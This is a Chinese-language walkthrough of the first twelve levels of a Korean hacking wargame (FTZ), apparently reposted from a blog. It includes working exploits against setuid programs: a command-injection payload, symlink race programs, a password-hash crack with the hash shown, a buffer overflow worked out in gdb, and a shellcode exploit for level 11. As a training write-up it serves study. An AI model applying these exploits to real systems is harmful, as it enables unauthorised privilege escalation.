BHM写的一个过关的

来源:互联网 发布:app软件如何开发 编辑:程序博客网 时间:2024/05/08 03:06
我玩的是一个韩国的FTZ,感觉很好,很有学习价值。我把我过关的方法写出来,算

是复习一下。

    有几个注意点:

1.每个用户可以通过my-pass命令看到自己的密码,这是过关的基础。

  也就是说level(n)的用户拿到level(n+1)用户的shell之后,可以运行my-pass,就可以

  知道level(n+1)用户的密码。

2.每个level用户目录下有个hint文件,是过关的提示。绝对有必要阅读一下这个hint。

  当然是拿着韩文写的,我在下面都有翻译,所以看完文章,对着以下翻译可以进行实地

  演练一番。

3.不要用拿到的shell进行不当的行为,封掉整个国内ip,大家都没有的玩了。

现在开始逐关说明过关方法,如有不解可以发信给我 B_H_M_666@hotmail.com

过关方法:



****************************level1*****************************************

[level1@ftz level1]$more hint

找到带有level2用户setuid的文件

[level1@ftz level1]$find / -user level2 -perm 4000 2>/dev/null

/bin/ExcuteMe

[level1@ftz level1]$/bin/ExcuteMe

现在你能用level2用户权限运行除了my-pass和chmod以外的任何命令

           [level2@ftz leve2]$/bin/bash  // 那么我们就直接运行 level2
                                           的 shell .

[level2@ftz level2]$my-pass

Level2 Password is "hacker or cracker".

说明:
     1.每一关登陆之后先看hint文件,这很有必要;
     2.find 命令可以提供优于windows搜索功能的服务,可以根据用户、权限等信息进
       行搜索;
     3.关于  2>/dev/null 的说明,2在*nix体系中表示标准错误,这个命令可以解释为
       将搜索过程中,标准错误重定向到无关紧要的文件,以下就是具体信息

     crw-rw-rw-    1 root     root       1,   3 2003-01-30  /dev/null

**************************************************************************

******************************level2**************************************

[level2@ftz level2]$ more hint

据说某些文件编辑器还可以执行命令

[level2@ftz level2]$ find / -user level3 -perm 4000 2>/dev/null

/usr/bin/editor

[level2@ftz level2]$/usr/bin/editor

这个程序执行之后将会出现熟悉的vim界面

然后就回顾一下vim的三种状态和各种命令吧    :P

在这里先按ESC,然后打入  :  ,在这里输入命令  ! my-pass

然后看见了嘛  level3的密码  

Level3 Password is "can you fly?".

Hit ENTER or type command to continue

说明:
    1.vim等文件编辑器功能很强大,正如这里出现的一样,可以执行shell命令
    2.因为editor文件是带有level3用户的setuid,所以在这个编辑器里执行的命令,是
      按照level3用户的权限执行的,所以可以拿到level3的密码喽。

*****************************************************************************

************************************level3***********************************

[level3@ftz level3]$ more hint

以下是autodig的源代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
                                                                                                                            
int main(int argc, char **argv){
                                                                                                                            
    char cmd[100];
                                                                                                                            
    if( argc!=2 ){
        printf( "Auto Digger Version 0.9/n" );
        printf( "Usage : %s host/n", argv[0] );
        exit(0);
    }
 
    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
 
    system( cmd );
 
}

请利用这个拿到level4的权限

more hints.
---- 怎么同时递交多个参数

[level3@ftz level3]$ find / -name autodig 2>/dev/null
/bin/autodig
[level3@ftz level3]$ /bin/autodig
Auto Digger Version 0.9
Usage : /bin/autodig host
[level3@ftz level3]$/bin/autodig ";my-pass"
                                                                                                                            
Level4 Password is "suck my brain".
                                                                                                                            
[level3@ftz level3]$

说明:
     1.可以通过源代码看到程序对于参数根本就没有经过适当的监测就递交给了system
       函数,这里产生了一个bug(当然也可以考虑缓冲区溢出的可能,但是这里没有必
       要);
     2.程序中以“”这种方式递交多个参数,里边的参数以‘;’为分界点。

*****************************************************************************

********************************level4***************************************

[level4@ftz level4]$ more hint

据说某个人在/etc/xinetd.d/里留下了后门

[level4@ftz level4]$ more /etc/xinetd.d  (一次失误,竟然没有看清是目录)
                                                                                                                            
*** /etc/xinetd.d: directory ***

[level4@ftz level4]$ find / -user level5 -perm 4000 2>/dev/null
[level4@ftz level4]$ find /etc/xinetd.d/ -user level5 -perm 4000 2>/dev/null

  看来跟前几关不太一样阿

[level4@ftz level4]$ ll /etc/xinetd.d
total 52
-rw-r--r--    1 root     root          171 Mar 28  2003 backdoor
-rw-r--r--    1 root     root          295 Mar 28  2003 chargen
-rw-r--r--    1 root     root          315 Mar 28  2003 chargen-udp
-rw-r--r--    1 root     root          295 Mar 28  2003 daytime
-rw-r--r--    1 root     root          315 Mar 28  2003 daytime-udp
-rw-r--r--    1 root     root          287 Mar 28  2003 echo
-rw-r--r--    1 root     root          306 Mar 28  2003 echo-udp
-rw-r--r--    1 root     root          312 Mar 28  2003 servers
-rw-r--r--    1 root     root          310 Mar 28  2003 services
-rw-r--r--    1 root     root          406 Mar 28  2003 sgi_fam
-rw-r--r--    1 root     root          302 Mar 28  2003 telnet
-rw-r--r--    1 root     root          319 Mar 28  2003 time
-rw-r--r--    1 root     root          315 Mar 28  2003 time-udp

[level4@ftz level4]$ cd /etc/xinetd.d
[level4@ftz xinetd.d]$ cat  backdoor
service finger
{
        disable = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = level5
        server          = /home/level4/tmp/backdoor
        log_on_failure  += USERID
}
[level4@ftz xinetd.d]$ finger @localhost

^[[H^[[J
Level5 Password is "what is your name?".

[level4@ftz xinetd.d]$

说明:
    1.这里最主要的是那个/etc/xinetd.d/backdoor的配置文件,可以看的出来这是一个
      典型的网络服务配置文件,

   service finger
{
        disable = no                      ;yes表示服务关闭,no则是表示开启
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = level5           ;表示执行权限
        server          = /home/level4/tmp/backdoor;提供服务的文件,这里将在
                                                     下面说明
        log_on_failure  += USERID
}

    2.关于backdoor中的server一项,明眼人一看就知道我们这次过关少了一个环节,就
      是编写/home/level4/tmp/backdoor文件的过程,这是因为这个文件在别人过关时
      ,已经写出来了,所以我们就没有这个过程,其实这个东西写也很简单,以下就是

     #! /bin/bash
     my-pass

    这就可以了,一个简单的脚本而已,只要调用finger服务时,配置文件以level5的权
    限运行这个shell就可以了

******************************************************************************

**********************************level5*************************************

[level5@ftz level5]$more hint

程序/usr/bin/level5在/tmp目录下生成名为level5.tmp的临时文件
请利用这个拿到level6的权限

    这里要利用竞争冒险原理。因为每个临时文件从产生到被删除总有一段维持时间,如
果在这段时间之内把这个临时文件给链接出来,就可以达到读取内容的目的。

[bhm@B bhm]$ su
Password:
[root@B bhm]# cat >1.txt
          
          
  How to play h4x0r game

    在root输入1.txt文本内容完毕。我们用普通用户bhm权限链接1.txt

[root@B bhm]# exit
exit

[bhm@B bhm]$ ln -s 1.txt 2.txt
[bhm@B bhm]$ ll 2.txt
lrwxrwxrwx    1 bhm      bhm             5 12月  6 01:30 2.txt -> 1.txt
[bhm@B bhm]$ more 2.txt
                                                                                                   
  How to play h4x0r game
                                                                                                   
[bhm@B bhm]$

     毫无疑问可以读取1.txt的内容。所以关键的问题是如何在这个短暂的瞬间把临时文
件给链接出来的问题。人为操作的方法肯定是行不通的,所以这里可以考虑编写两个程序
,一个专门负责运行/usr/bin/level5,另外一个则专门负责把这个临时文件链接出来。

程序如下:

[bhm@B F.T.Z]$ more level5_1.c
#include <stdlib.h>
int main(){
  int i;
  for(i=0;i<100;i++){
    system("/usr/bin/level5");
  }
}

[bhm@B F.T.Z]$ more level5_2.c
#include<stdlib.h>
int main(){
int i;
system("touch level5.txt");
for(i=0;i<100;i++){
    system("ln -s /tmp/level5.tmp ./level5.txt");
}
}

    同时开两个shell分别运行,可以从level5.txt中读取password。

读取密码原来是:    what the hell

    这个关让我想了好久,后来在论坛上看见有人发了关于利用时间差的原理之后,才想
到怎么过关的。后来在本机上测试了一下发现可行,然后在F.T.Z上测试通过。

******************************************************************************

******************************level6******************************************

login: level6
Password:
Last login: Thu Dec  4 16:31:40 from 61.255.11.117

  hint 这是以前在telnet型BBS的菜单上经常用的黑客手法。

说明:
    1.到这里之后telnet就停滞了,没有看到shell表示符;
    2.按照常规的方法 ctrl+C 给出一个信号,然后就出现了shell表示符

    可以继续了

[level6@ftz level6]$ ll
total 32
-rw-r--r--    1 root     root           72 Nov 22  2000 hint
-rw-r-----    1 root     level6         36 Mar 24  2000 password
drwxr-xr-x    2 root     level6       4096 Feb 23  2002 public_html
drwxrwxr-x    2 root     level6       4096 Dec  4 16:32 tmp
-rwxr-x---    1 root     level6      14910 Mar  4  2003 tn
[level6@ftz level6]$ more hint

这是以前在telnet型BBS的菜单上经常用的黑客手法。 ----- 还是那个内容!

[level6@ftz level6]$ more password
Level7 password is "come together".
[level6@ftz level6]$

就这么简单,通过了level6

******************************************************************************

******************************level7******************************************

[level7@ftz level7]$ more hint

    执行/bin/level7 文件将会要求你输入密码:

1.密码在附近…………
2.需要发挥想象力;
3.你能把2进制数转化成10进制嘛?
4.需要把你的计算器换成科学计算器。

     说明:
          1.是不是很没有头绪?这一关开始将会出现推理题、编程题等更多形式的题目
            ,像这样的逻辑推理题(还有一点想象力)在韩国历次的黑客大赛中屡次出现
            看来逻辑推理和想象力是黑客的基本素质之一啊;
          2.玩完这一关我发现我的想象力严重缺乏,但是不乏观察力

我在用户目录下找到了一个源代码,内容如下:

int main()
{
        printf("/x6d/x61/x74/x65/n");
}

编译通过打出来的密码为:mate

运行 /bin/level7 输入密码 mate

Congratulation! next password is "break the world".

当然这一关不仅仅只有这个方法, 还有一个更 cool 的方法  hiehie

[level7@ftz level7]$ strings  /bin/level7
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
printf
fgets
system
malloc
__deregister_frame_info
stdin
strncmp
exit
_IO_stdin_used
__libc_start_main
__register_frame_info
GLIBC_2.0
PTRh
Insert The Password :
mate  ======> 这就是我们要输入的密码
Congratulation! next password is "break the world". =====> 而这个呢? 哈哈
cat /bin/wrong.txt  =====> 后来发现这是进一步的提示  当然我是不用这个的
[level7@ftz level7]$

*****************************************************************************

*****************************    level8   ***********************************

还是先查看 hint ,内容为:

level9 的 shadow 藏在某个地方,只知道其大小为 1481

又是一个 find 的应用

[level8@ftz level8]$ find / -size 1481c -print 2>/dev/null
/etc/rc.d/found.txt
/etc/log.d/scripts/services/afpd
/usr/lib/gcc-lib/i386-redhat-linux/3.2.2/include/javax/naming/event/NamingEvent.h
/usr/lib/python2.2/site-packages/Ft/Lib/Util.pyc
/usr/share/doc/ImageMagick-5.4.7/www/api/types/ProfileInfo.html
/usr/share/i18n/locales/de_BE@euro
/usr/share/i18n/locales/fr_BE@euro
/usr/share/locale/pl/LC_MESSAGES/gnome-pilot.mo
/usr/share/locale/eu/LC_MESSAGES/gtk20.mo
/usr/share/pixmaps/ooo_draw.png
/usr/share/man/man3/curs_inch.3x.gz
/usr/share/vim/vim61/syntax/abaqus.vim
/usr/share/ImageMagick/www/api/types/ProfileInfo.html
/usr/share/foomatic/db/source/driver/djet500.xml
/usr/share/foomatic/db/source/printer/72736.xml
/usr/src/linux-2.4.20-8/drivers/addon/iscsi/md5.h
/usr/src/linux-2.4.20-8/drivers/i2c/Makefile
/usr/src/linux-2.4.20-8/include/asm-sparc/pbm.h
/usr/src/linux-2.4.23/include/asm-sparc/pbm.h
/usr/src/linux-2.4.25/include/asm-sparc/pbm.h
/usr/src/linux-2.4.24/include/asm-sparc/pbm.h

结果找到了好多文件,先从第一个看起

[level8@ftz level8]$ more /etc/rc.d/found.txt
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

哦~~原来不仅仅是要考察 find  还要看会不会用 john.

john 这个软件也象 nmap 一样是一款很经典的黑客软件 ,当年发布时造成的影响不亚于

satan 的影响. 具体使用方法可以查看 自带的帮助.

回到本机开始破解:

[bhm@B run]$ ls
all.chr     john.ini  lanman.chr  password.lst  unshadow
alpha.chr   john       john.log  level9.pwd  unafs
digits.chr  john.conf  john.pot  mailer      unique
[bhm@B run]$ john -w:password.lst level9.pwd
Loaded 1 password hash (FreeBSD MD5 [32/32])
apple            (level9)
guesses: 1  time: 0:00:00:00 100%  c/s: 1450  trying: apple

很快就破解完毕,密码为 苹果 ~~!

level8 就这么轻轻松松过了.

*****************************************************************************

******************************    level9  ***********************************

再接再厉~~  哦 哦

login: level9
Password:
Last login: Tue Apr 20 19:10:03 from 210.124.214.129
[level9@ftz level9]$ more hint
                                                                                                   
以下是 /usr/bin/bof 的源代码  利用这个代码拿到 level10 的密码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(){
 
  char buf2[10];
  char buf[10];
 
  printf("It can be overflow : ");
  fgets(buf,40,stdin);
 
  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!/n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }
 
}

想都不用想肯定 level10 的 id == 3010

这个比较麻烦只能一点点分析了. 拿出 gdb 开始分析

gdb 是 Linux 系统自带的调试工具, 功能强大, 使用方法参考一下网上手册.

分析就看以下几个关键部分代码:

1.开始部分

(gdb) disass main
Dump of assembler code for function main:
0x08048420 <main+0>:    push   %ebp
0x08048421 <main+1>:    mov    %esp,%ebp   //初始化堆栈区
0x08048423 <main+3>:    sub    $0x28,%esp  //分配0x28个大小的栈区
0x08048426 <main+6>:    and    $0xfffffff0,%esp
............................

2.问题堆栈部分

0x08048454 <main+52>:   add    $0x10,%esp  // 可以发现 $esp +10的 部分
                                            为0xbffff880, 为strncmp
                                           存放参数的地方
0x08048457 <main+55>:   sub    $0x4,%esp
0x0804845a <main+58>:   push   $0x2    //  strncmp 的参数个数

0x0804845c <main+60>:   push   $0x8048566 // 0x8048566 为 存放 go 字符串的
                                          内存空间, 将这个字符串压入栈区

0x08048461 <main+65>:   lea    0xffffffe8(%ebp),%eax // 这条指令执行的是
                                                     将 0xbffff880 的内容
                                                     传给 eax

0x08048464 <main+68>:   push   %eax  //压入  strncmp 的另外一个参数
0x08048465 <main+69>:   call   0x8048330 <strncmp> // strncmp 为系统调用
                                                   将比较两个参数
                                                   如果两个参数相等
                                                   esx 将被置零
0x0804846a <main+74>:   add    $0x10,%esp
0x0804846d <main+77>:   test   %eax,%eax
0x0804846f <main+79>:   jne    0x80484a0 <main+128> //与test 指令相结合
                                                   判断 eax 是否为零
                                                   如果为零 继续执行
                                                   如为非零 则跳转到
                                                   0x80484a0  即为
                                        0x080484a0 <main+128>:  leave

0x08048471 <main+81>:   sub    $0xc,%esp
0x08048474 <main+84>:   push   $0x8048569

可以看出我们只要将 0xbffff880 里的数据变成 go 就可以了.
那么怎么让 0xbffff880 里的数据变成 go 呢?
开始动态分析部分:

分别在 0x08048454 和 0x08048465 设置断点, 并运行

(gdb) b *0x08048454
Breakpoint 1 at 0x8048454: file level9.c, line 11.
(gdb) b *0x08048465
Breakpoint 2 at 0x8048465: file level9.c, line 13.
(gdb) r
(gdb) r
Starting program: /home/bhm/myprogarm/test/F.T.Z/level9
It can be overflow : aaaaaaaaaa  // 随便输入一下就可以了
                                                                                                             
Breakpoint 1, 0x08048454 in main () at level9.c:11
11        fgets(buf,40,stdin);

然后查看以下各个寄存器的内容

(gdb) i reg
..................................

因为 esp 为堆栈栈顶, 查看一下栈区情况

(gdb) x/32 $esp-16
...................................

可以发现系统从 0xbffff870 开始为存放字符串的栈区, 因为从这里开始被字符串
0x61616161.
计算一下 0xbffff880 - 0xbffff870 = 0x10 = 16
也就是说输入16个字符串 "a" 之后输入字符串 "go", 就能通过 test 验证了.
试一试  *^*^*

[bhm@B F.T.Z]$ ./level9
It can be overflow : aaaaaaaaaaaaaaaago
Good Skill!
[bhm@B F.T.Z]$ ps
  PID TTY          TIME CMD
2787 pts/0    00:00:00 bash
2818 pts/0    00:00:18 fcitx
14279 pts/0    00:00:00 level9
14280 pts/0    00:00:00 bash
14310 pts/0    00:00:00 ps
[bhm@B F.T.Z]$

因为在本机测试的没有看到 bash 变成 level10 的权限, 仔细看看 pid 14280 的进程
,拿到 shell 了  ^_*

得到的密码为"interesting to hack!"

****************************************************************************

****************************  level10 ***************************************

继续继续 哈哈

login: level10
Password:
Last login: Tue Apr 20 14:24:21 from 220.122.59.34
[level10@ftz level10]$ more hint
                                                                                                   
现在有两个用户正在利用聊天室功能聊天.这个聊天室使用的是共享内存, key_t 值为
7530, 对话使用变量名为 text. 利用这个请窃听两个人的对话,并拿到 level11 的密码

看来这道考的是编程, 但是有点简单:
1. 先查查关于共享内存的函数;
2. 发现 shmget 和 shmat 函数可以利用
3. 利用系统自带的手册, 查看具体使用方法  ( 用 info 函数名 可以查看 )

然后写程序:
#include <sys/shm.h>
#include <sys/ipc.h>

int main(void)

{
    int shmid;
    char *memptr;
   
    if ((shmid = shmget((key_t)7530, 512, IPC_CREAT | 0666)) < 0)
    {
        printf("shmget() function error./n");
        exit(1);
    }

    if ((memptr = shmat(shmid, 0, 0)) == -1)
    {
        printf("shmat() function error./n");
        exit(1);
    }

    printf("%s/n",memptr);

    return 0;
}

编译运行一下:

[level10@ftz tmp]$ ./a.out
mengmeng: level11 的密码是什么啊?
guta: 是 what!@#$?

mengmeng 和 guta 是两位系统管理员 :P
密码很复杂哦, 走了~~
****************************************************************************

******************************  level11   **********************************

login: level11
Password:
Last login: Wed Apr 21 00:11:07 from 220.73.26.23
[level11@ftz level11]$ more hint
                                                                                                             
#include <stdio.h>
#include <stdlib.h>
                                                                                                             
int main( int argc, char *argv[] )
{
        char str[256];

        setreuid( 3092, 3092 );
        strcpy( str, argv[1] );
        printf( str );
}


[level11@ftz level11]$

不用想了, 开始溢出吧 sigh

我用的是 OYXin 介绍的一个技术, 具体文章说明已经很清楚

http://www.xfocus.net/articles/200305/531.html

所以我就不浪费口舌了。

贴出我的源代码, 基本上跟 OYXin 的代码没有区别, 因为溢出程序本来就有模板性。

[bhm@B F.T.Z]$ more attcak11.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
                                                                                                             
#define BUFSIZE 264 //系统为漏洞程序分配的字节数
                                                                                                             
char shell[] = "/x31/xc0/x50/x68/x2f/x2f/x73/x68"
    "/x68/x2f/x62/x69/x6e/x89/xe3/x89"
    "/x64/x24/x0c/x89/x44/x24/x10/x8d"
    "/x4c/x24/x0c/x8b/x54/x24/x08/xb0"
    "/x0b/xcd/x80";
                                                                                                             
int main(void)
{
    char buf[BUFSIZE + 12];
    char *prog[] = {"../attackme", buf, NULL};  // bug 程序的路径
    char *env[] = {"HOME=/home/level11/tmp", shell, NULL}; // 溢出程序的pwd
    unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) - strlen(shell) - 0x02;
                                                                                                             
    memset(buf,0x41,sizeof(buf));

    memcpy(buf+BUFSIZE+4,(char *)&ret,4);

    buf[BUFSIZE+8] = 0x00;

    execve(prog[0],prog,env);

    return 0;
}
   
[bhm@B F.T.Z]$

[level11@ftz tmp]$ gdb ../attackme -q
(gdb) disass main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   %ebp
0x08048471 <main+1>:    mov    %esp,%ebp
0x08048473 <main+3>:    sub    $0x108,%esp  // 0x108 == 264 也是溢出程序中的
                                             define 定义的常数
0x08048479 <main+9>:    sub    $0x8,%esp
0x0804847c <main+12>:   push   $0xc14
0x08048481 <main+17>:   push   $0xc14
...............................................

[level11@ftz tmp]$ dir ../
attackme  hint  public_html  tmp ====> 漏洞程序就是 attackme
[level11@ftz tmp]$ pwd
/home/level11/tmp ====> 现在溢出程序所在目录
[level11@ftz tmp]$ ../attackme `perl -e 'print "a"x267'`

    这个时候输出了 267 个字符 a 没有发生段错误,

[level11@ftz tmp]$ ../attackme `perl -e 'print "a"x268'`

    这个时候发生了段错误, 比内存分配的 264 个字节多出了 4 个字节, 因为这个
4 个字节是  EBP, 而 268 个字节时已经开始覆盖 EIP 了。

    现在编译上边的程序测试一下:

[level11@ftz tmp]$ gcc b.c
[level11@ftz tmp]$ ./a.out
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".

sh-2.05b$

    一下子成了  :P   感谢 OYXin 的好东西。
****************************************************************************

************************* level 12  ******************************************

login: level12
Password:
Last login: Wed Jul  7 15:34:51 from 211.194.178.186
[level12@ftz level12]$ more hint


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main( void )
{
        char str[256];

        setreuid( 3093, 3093 );
        printf( "请输入字符串./n" );
        gets( str );
        printf( "%s/n", str );
}


[level12@ftz level12]$

gets() 溢出啊!
原创粉丝点击